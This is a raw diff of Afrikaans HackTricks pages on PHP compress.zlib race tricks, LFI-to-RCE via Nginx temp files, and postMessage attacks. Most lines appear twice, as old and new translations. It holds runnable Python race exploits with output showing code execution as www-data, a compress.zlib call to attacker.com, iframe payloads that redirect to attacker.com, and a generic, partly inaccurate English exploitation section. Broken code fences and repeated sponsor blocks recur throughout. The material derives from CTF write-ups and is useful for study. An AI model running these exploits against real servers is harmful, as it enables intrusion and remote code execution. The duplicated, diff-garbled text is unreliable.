<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** **gekompromiteer** is.
Die primêre doel van WhiteIntel is om rekeningoorneem te bekamp en lospryse-aanvalle te voorkom wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## `compress.zlib://` en `PHP_STREAM_PREFER_STDIO`
'n Lêer wat geopen word met die protokol `compress.zlib://` met die vlag `PHP_STREAM_PREFER_STDIO` kan voortgaan om data wat later by die verbinding aankom, na dieselfde lêer te skryf.
'n Lêer wat oopgemaak word met die protokol `compress.zlib://` met die vlag `PHP_STREAM_PREFER_STDIO` kan voortgaan om data wat later by die verbinding arriveer na dieselfde lêer te skryf.
Dit beteken dat 'n oproep soos:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
Sal stuur 'n versoek om http://attacker.com/file, dan kan die bediener die versoek beantwoord met 'n geldige HTTP-antwoord, die verbinding oop hou en later ekstra data stuur wat ook in die lêer geskryf sal word.
Sal 'n versoek stuur vir http://attacker.com/file, dan kan die bediener die versoek met 'n geldige HTTP-antwoord beantwoord, die verbinding oop hou, en later ekstra data stuur wat ook in die lêer geskryf sal word.
Jy kan daardie inligting sien in hierdie deel van die php-src-kode in main/streams/cast.c:
```c
@ -33,20 +46,31 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_temp_new();
}
```
## Race Voorwaarde tot RCE
## Wedloop To RCE
[**Hierdie CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) is opgelos deur gebruik te maak van die vorige truuk.
[**Hierdie CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) was opgelos deur die vorige truuk te gebruik.
Die aanvaller sal die **slagofferbediener dwing om 'n verbinding oop te maak en 'n lêer van die aanvaller se bediener te lees** deur gebruik te maak van die **`compress.zlib`** protokol.
Die aanvaller sal die **slagofferbediener 'n verbinding laat oopmaak om 'n lêer van die aanvaller se bediener te lees** deur die **`compress.zlib`** protokol te gebruik.
**Terwyl** hierdie **verbinding** bestaan, sal die aanvaller die pad na die tydelike lêer wat geskep is, **uitlek** (dit word deur die bediener uitgelek).
**Terwyl** hierdie **verbinding** bestaan, sal die aanvaller die pad na die tydelike lêer wat geskep is, **uitlek (dit word deur die bediener gelek)**.
**Terwyl** die **verbinding** nog oop is, sal die aanvaller 'n LFI uitbuit deur die tydelike lêer te laai wat hy beheer.
Daar is egter 'n kontrole in die webbediener wat verhoed dat lêers gelaai word wat `<?` bevat. Daarom sal die aanvaller 'n **Race Voorwaarde** misbruik. In die verbinding wat nog oop is, sal die **aanvaller** die PHP-payload **NA** die **webbediener** stuur het **gekontroleer** of die lêer die verbode karakters bevat, maar **VOORDAT dit sy inhoud laai**.
Daar is egter 'n kontrole in die webbediener wat **verhoed dat lêers gelaai word wat `<?` bevat**. Daarom sal die aanvaller 'n **Wedloop Toestand** misbruik. In die verbinding wat nog oop is, sal die **aanvaller** die PHP-lading **NA** die **webbediener** stuur nadat dit **gekontroleer** het of die lêer die verbode karakters bevat, maar **VOORDAT dit sy inhoud laai**.
Vir meer inligting, kyk na die beskrywing van die Race Voorwaarde en die CTF by [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
Vir meer inligting, kyk na die beskrywing van die Wedloop Toestand en die CTF by [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
@ -54,9 +78,9 @@ Vir meer inligting, kyk na die beskrywing van die Race Voorwaarde en die CTF by
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks in PDF aflaai**, kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.

View file

@ -1,44 +1,58 @@
# LFI2RCE via Nginx tydelike lêers
# LFI2RCE via Nginx temp files
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem en lospryse-aanvalle te bekamp wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Kwesbare konfigurasie
**[Voorbeeld van https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)**
* PHP-kode:
```
````h`
<?php include_once($_GET['file']);
```
* FPM / PHP konfigurasie:
* FPM / PHP opset:
```
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
```
* Opstelling / versterking:
```
* Opstelling / verharding:
```bash
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...
```
Gelukkig word PHP tans dikwels geïmplementeer via PHP-FPM en Nginx. Nginx bied 'n maklik-oor die hoof gesien [kliëntliggaambuffering](https://nginx.org/en/docs/http/ngx\_http\_core\_module.html#client\_body\_buffer\_size) funksie wat tydelike lêers sal skryf as die kliëntliggaam (nie beperk tot pos nie) groter is as 'n sekere drempelwaarde.
Gelukkig word PHP tans dikwels geïmplementeer via PHP-FPM en Nginx. Nginx bied 'n maklik-oor die hoof-gesiende [kliëntliggaambuffering](https://nginx.org/en/docs/http/ngx\_http\_core\_module.html#client\_body\_buffer\_size) funksie wat tydelike lêers sal skryf as die kliëntliggaam (nie beperk tot pos nie) groter is as 'n sekere drempelwaarde.
Hierdie funksie maak dit moontlik om LFIs uit te buit sonder enige ander manier om lêers te skep, as Nginx as dieselfde gebruiker as PHP uitgevoer word (baie algemeen gedoen as www-data).
Hierdie funksie maak dit moontlik om LFIs uit te buit sonder enige ander manier om lêers te skep, as Nginx as dieselfde gebruiker as PHP loop (baie algemeen gedoen as www-data).
Relevante Nginx-kode:
```c
@ -57,7 +71,7 @@ if (fd != -1 && !persistent) {
return fd;
}
```
Dit is sigbaar dat **tempfile onmiddellik uitgekoppel word** nadat dit deur Nginx geopen is. Gelukkig kan **procfs gebruik word om steeds 'n verwysing** na die uitgekoppelde lêer te verkry deur middel van 'n race:
Dit is sigbaar dat **tempfile onmiddellik ontkoppel** word nadat dit deur Nginx geopen is. Gelukkig kan **procfs gebruik word om steeds 'n verwysing** na die verwyderde lêer te verkry deur 'n wedloop:
```
...
/proc/34/fd:
@ -72,7 +86,7 @@ lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...
```
Nota: 'n Mens kan nie direk `/proc/34/fd/15` in hierdie voorbeeld insluit nie, aangesien PHP se `include`-funksie die pad na `/var/lib/nginx/body/0000001368 (verwyder)` sal oplos, wat nie in die lêersisteem bestaan nie. Hierdie klein beperking kan gelukkig omseil word deur 'n bietjie omleiding soos `/proc/self/fd/34/../../../34/fd/15` te gebruik, wat uiteindelik die inhoud van die verwyderde lêer `/var/lib/nginx/body/0000001368` sal uitvoer.
Merk op: 'n Mens kan nie direk `/proc/34/fd/15` insluit in hierdie voorbeeld nie, aangesien PHP se `include`-funksie die pad na `/var/lib/nginx/body/0000001368 (deleted)` sal oplos wat nie in die lêersisteem bestaan nie. Hierdie klein beperking kan gelukkig omseil word deur 'n bietjie omleiding soos: `/proc/self/fd/34/../../../34/fd/15` wat uiteindelik die inhoud van die uitgevee `/var/lib/nginx/body/0000001368`-lêer sal uitvoer.
## Volledige Uitbuiting
```python
@ -143,46 +157,27 @@ for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
```
# LFI to RCE via Nginx Temp Files
### LFI to RCE via Nginx temp files
Hierdie tegniek maak gebruik van 'n fout in die Nginx-webbediener se temp-lêersisteem om 'n lêerinsluitingskwesbaarheid (LFI) aan te val en uiteindelik 'n uitvoering vanaf afstand (RCE) te verkry.
#### Introduction
## Inleiding
In this scenario, we will leverage a Local File Inclusion (LFI) vulnerability to achieve Remote Code Execution (RCE) by exploiting Nginx temporary files.
Lêerinsluiting is 'n kwesbaarheid wat voorkom wanneer 'n webtoepassing gebruikersinsette direk in 'n lêernaam of -pad insluit sonder behoorlike validasie. Dit kan lei tot die insluiting van lêers vanaf die bediener se lêersisteem, insluitend gevoelige konfigurasie- of databestande.
#### Nginx Temporary Files
Nginx is 'n gewilde webbediener wat dikwels gebruik word as 'n omleier of vervaardiger vir statiese lêers. Dit maak gebruik van 'n temp-lêersisteem om tussentydse lêers te stoor tydens die verwerking van aanvrae. Hierdie temp-lêers kan gebruik word om 'n LFI-aanval uit te voer en uiteindelik RCE te verkry.
Nginx uses temporary files to store client request bodies when buffering data. These files are stored in a specific directory, typically `/var/lib/nginx/tmp/client_body`.
## LFI na RCE via Nginx Temp-lêers
#### Exploiting the LFI to RCE
1. Identifiseer 'n webtoepassing wat gebruik maak van Nginx as webbediener.
2. Identifiseer 'n LFI-kwesbaarheid in die toepassing deur insette te probeer insluit in lêernaam- of padverwysings.
3. As die LFI slaag, probeer om toegang te verkry tot die Nginx temp-lêersisteem deur die volgende URL te gebruik:
1. **Identify Nginx temporary files**: Look for the temporary directory where Nginx stores client request bodies.
```
http://example.com/index.php?page=/var/lib/nginx/tmp/client_body/0000000012
```
2. **Craft a malicious payload**: Create a PHP payload that will be used for RCE.
Hierdie URL verwys na 'n spesifieke temp-lêer wat deur Nginx gegenereer is tydens die verwerking van 'n aanvraag.
3. **Include the payload**: Exploit the LFI vulnerability to include the PHP payload into a server-side script.
4. As die URL suksesvol is, sal jy 'n lêerinhoud sien wat die aanvanklike aanvraag se data bevat.
5. Om RCE te verkry, kan jy probeer om 'n uitvoerbare lêer in die temp-lêersisteem te plaas en dit uit te voer deur die volgende URL te gebruik:
4. **Trigger the RCE**: Access the server-side script containing the included PHP payload to execute arbitrary commands.
```
http://example.com/index.php?page=/var/lib/nginx/tmp/client_body/0000000012&cmd=ls
```
Hierdie URL voeg die `cmd`-parameter by wat die uitvoerbare lêer aandui wat jy wil uitvoer.
6. As die URL suksesvol is, sal die uitvoerbare lêer uitgevoer word en sal jy die resultate sien.
## Voorkoming
Om hierdie aanval te voorkom, moet jy behoorlike validasie en sanitasie van gebruikersinsette implementeer. Moenie insette direk in lêernaam- of padverwysings insluit sonder om dit te verifieer nie. Verder moet jy ook die toegang tot die Nginx temp-lêersisteem beperk om ongemagtigde toegang te voorkom.
## Gevolgtrekking
Die LFI-na-RCE-tegniek via Nginx temp-lêers is 'n gevorderde aanvalstegniek wat gebruik maak van 'n kwesbaarheid in die Nginx-webbediener se temp-lêersisteem. Deur behoorlike validasie en sanitasie van gebruikersinsette te implementeer en toegang tot die temp-lêersisteem te beperk, kan jy hierdie aanval voorkom.
By leveraging the LFI vulnerability to include and execute malicious PHP code stored in Nginx temporary files, an attacker can achieve Remote Code Execution on the target system.
```
$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
@ -208,7 +203,7 @@ $ ./pwn.py 127.0.0.1 1337
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
### Nog 'n Uitbuiting
### Ander Uitbuiting
Dit is vanaf [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/)
```python
@ -307,7 +302,7 @@ send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)
```
## Laboratoriums
## Laboratoria
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
@ -317,16 +312,28 @@ read_file_multiprocess(requests_session, nginx_pids)
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diefstal malware** is **gekompromiteer**.
Hul primêre doel van WhiteIntel is om rekening-oorneem te beveg en losgeldware-aanvalle te voorkom wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**SUBSKRIPSIEPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -10,15 +10,29 @@ Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diewe-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Stuur **PostMessage**
**PostMessage** maak gebruik van die volgende funksie om 'n boodskap te stuur:
**PostMessage** gebruik die volgende funksie om 'n boodskap te stuur:
```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);
@ -46,11 +60,11 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Merk op dat **targetOrigin** 'n '\*' kan wees of 'n URL soos _https://company.com._\
In die **tweede scenario** kan die **boodskap slegs na daardie domein gestuur word** (selfs as die oorsprong van die vensterobjek verskil).\
As die **wildcard** gebruik word, **kan boodskappe na enige domein gestuur word**, en sal gestuur word na die oorsprong van die vensterobjek.
Indien die **wildcard** gebruik word, kan **boodskappe na enige domein gestuur word**, en sal dit gestuur word na die oorsprong van die vensterobjek.
### Aanval op iframe & wildcard in **targetOrigin**
Soos verduidelik in [**hierdie verslag**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) as jy 'n bladsy vind wat **geïframe** kan word (geen `X-Frame-Header`-beskerming nie) en wat **sensitiewe** boodskappe stuur via **postMessage** met 'n **wildcard** (\*), kan jy die **oorsprong** van die **iframe** **verander** en die **sensitiewe** boodskap na 'n domein wat deur jou beheer word, **lek**.\
Soos verduidelik in [**hierdie verslag**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) as jy 'n bladsy vind wat **geïframe** kan word (geen `X-Frame-Header` beskerming nie) en wat **sensitiewe** boodskappe stuur via **postMessage** met 'n **wildcard** (\*), kan jy die **oorsprong** van die **iframe** **verander** en die **sensitiewe** boodskap na 'n domein wat deur jou beheer word, **lek**.\
Merk op dat as die bladsy geïframe kan word maar die **targetOrigin** is **ingestel op 'n URL en nie op 'n wildcard nie**, sal hierdie **truc nie werk nie**.
```markup
<html>
@ -68,7 +82,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
```
## addEventListener uitbuiting
**`addEventListener`** is die funksie wat deur JS gebruik word om die funksie te verklaar wat **`postMessages` verwag**.\
**`addEventListener`** is die funksie wat deur JS gebruik word om die funksie te verklaar wat wag op `postMessages`.\
'n Kode soortgelyk aan die volgende een sal gebruik word:
```javascript
window.addEventListener("message", (event) => {
@ -78,14 +92,14 @@ return;
// ...
}, false);
```
Nota in hierdie geval hoe die **eerste ding** wat die kode doen, is om die **oorsprong te kontroleer**. Dit is uiters **belangrik** veral as die bladsy iets sensitiefs gaan doen met die ontvangste inligting (soos 'n wagwoord verander). **As dit nie die oorsprong kontroleer nie, kan aanvallers slagoffers maak om willekeurige data na hierdie eindpunte te stuur** en die slagoffers se wagwoorde te verander (in hierdie voorbeeld).
Nota in hierdie geval hoe die **eerste ding** wat die kode doen, is om die **oorsprong te kontroleer**. Dit is vreeslik **belangrik** veral as die bladsy iets sensitief gaan doen met die ontvangste inligting (soos 'n wagwoord verander). **As dit nie die oorsprong kontroleer nie, kan aanvallers slagoffers maak om willekeurige data na hierdie eindpunte te stuur** en die slagoffers se wagwoorde te verander (in hierdie voorbeeld).
### Enumerasie
Om **gebeurtenisluisteraars te vind** op die huidige bladsy kan jy:
* **Soek** die JS-kode vir `window.addEventListener` en `$(window).on` (_JQuery weergawe_)
* **Uitvoer** in die ontwikkelaarhulpmiddelskonsole: `getEventListeners(window)`
* **Voer uit** in die ontwikkelaarhulpmiddelskonsole: `getEventListeners(window)`
![](<../../.gitbook/assets/image (618) (1).png>)
@ -103,13 +117,13 @@ Om **gebeurtenisluisteraars te vind** op die huidige bladsy kan jy:
```javascript
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
```
* Die **`search()`** metode van `String.prototype.search()` is bedoel vir regulêre uitdrukkings, nie vir strings nie. Die deurgang van enigiets anders as 'n regexp lei tot implisiete omskakeling na 'n regex, wat die metode potensieel onveilig maak. Dit is omdat in regex 'n punt (.) as 'n jokerteken optree, wat omseiling van validering met spesiaal ontwerpte domeine moontlik maak. Byvoorbeeld:
* Die **`search()`** metode van `String.prototype.search()` is bedoel vir regulêre uitdrukkings, nie vir strings nie. Die deurgang van enigiets anders as 'n regexp lei tot implisiete omskakeling na regex, wat die metode potensieel onveilig maak. Dit is omdat in regex 'n punt (.) as 'n jokerteken optree, wat omseiling van validering met spesiaal ontwerpte domeine moontlik maak. Byvoorbeeld:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
* Die **`match()`** funksie, soortgelyk aan `search()`, verwerk regex. As die regex verkeerd gestruktureer is, kan dit vatbaar wees vir omseiling.
* Die **`escapeHtml`** funksie is bedoel om insette te saniteer deur karakters te ontsnap. Dit skep egter nie 'n nuwe ontsnapte objek nie, maar oorskryf die eienskappe van die bestaande objek. Hierdie gedrag kan uitgebuit word. Veral as 'n objek gemanipuleer kan word sodat sy beheerde eienskap nie `hasOwnProperty` erken nie, sal die `escapeHtml` nie soos verwag optree nie. Dit word gedemonstreer in die voorbeelde hieronder:
* Die **`escapeHtml`** funksie is bedoel om insette te saneer deur karakters te ontsnap. Dit skep egter nie 'n nuwe ontsnapte objek nie, maar oorskryf die eienskappe van die bestaande objek. Hierdie gedrag kan uitgebuit word. Veral as 'n objek gemanipuleer kan word sodat sy beheerde eienskap nie `hasOwnProperty` erken nie, sal die `escapeHtml` nie soos verwag optree nie. Dit word gedemonstreer in die voorbeelde hieronder:
* Verwagte Mislukking:
@ -126,16 +140,16 @@ result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
In die konteks van hierdie kwesbaarheid is die `File` objek merkbaar vatbaar vir uitbuiting as gevolg van sy skryfbeskermde `name` eienskap. Hierdie eienskap, wanneer in templaat gebruik, word nie gesaniteer deur die `escapeHtml` funksie nie, wat tot potensiële sekuriteitsrisiko's kan lei.
In die konteks van hierdie kwesbaarheid is die `File` objek merkwaardig vatbaar vir uitbuiting as gevolg van sy skryfbeskermde `name` eienskap. Hierdie eienskap, wanneer in templaat gebruik, word nie deur die `escapeHtml` funksie gesaniteer nie, wat tot potensiële sekuriteitsrisiko's kan lei.
* Die `document.domain` eienskap in JavaScript kan deur 'n skripsie ingestel word om die domein te verkort, wat meer ontspanne selfde-oorsprongbeleidshandhawing binne dieselfde ouerdomein moontlik maak.
### e.origin == window.origin omseiling
Wanneer 'n webbladsy ingebed word binne 'n **gesandboxte iframe** met behulp van %%%%%%, is dit noodsaaklik om te verstaan dat die oorsprong van die iframe na nul gestel sal word. Dit is veral belangrik wanneer daar met **sandbox-eienskappe** gewerk word en hul implikasies vir sekuriteit en funksionaliteit.
Wanneer 'n webbladsy ingebed word binne 'n **gesandboxte iframe** met behulp van %%%%%%, is dit belangrik om te verstaan dat die oorsprong van die iframe na nul gestel sal word. Dit is veral belangrik wanneer daar met **sandbox-eienskappe** gewerk word en hul implikasies vir sekuriteit en funksionaliteit.
Deur **`allow-popups`** in die sandbox-eienskap te spesifiseer, erf enige popup-venster wat van binne die iframe geopen word, die sandbox-beperkings van sy ouer. Dit beteken dat tensy die **`allow-popups-to-escape-sandbox`** eienskap ook ingesluit word, die popup-venster se oorsprong ook na `null` gestel word, wat ooreenstem met die iframe se oorsprong.
Deur **`allow-popups`** in die sandbox-eienskap te spesifiseer, erf enige popup-venster wat van binne die iframe geopen word die sandbox-beperkings van sy ouer. Dit beteken dat tensy die **`allow-popups-to-escape-sandbox`** eienskap ook ingesluit word, die oorsprong van die popup-venster ook na `null` gestel word, wat ooreenstem met die oorsprong van die iframe.
Gevolglik, wanneer 'n popup onder hierdie omstandighede geopen word en 'n boodskap van die iframe na die popup gestuur word met behulp van **`postMessage`**, het beide die stuur- en ontvangsende punte hul oorsprong na `null` gestel. Hierdie situasie lei tot 'n scenario waar **`e.origin == window.origin`** as waar evalueer (`null == null`), omdat beide die iframe en die popup dieselfde oorsprongwaarde van `null` deel.
Gevolglik, wanneer 'n popup onder hierdie omstandighede geopen word en 'n boodskap van die iframe na die popup gestuur word met behulp van **`postMessage`**, het beide die stuur- en ontvangsende kante hul oorsprong na `null` gestel. Hierdie situasie lei tot 'n scenario waar **`e.origin == window.origin`** as waar evalueer (`null == null`), omdat beide die iframe en die popup dieselfde oorsprongwaarde van `null` deel.
Vir meer inligting **lees**:
@ -145,7 +159,7 @@ Vir meer inligting **lees**:
### Omseiling van e.source
Dit is moontlik om te kontroleer of die boodskap afkomstig is van dieselfde venster waarin die skripsie luister (veral interessant vir **Inhoudskript van blaaieruitbreidings** om te kontroleer of die boodskap van dieselfde bladsy gestuur is):
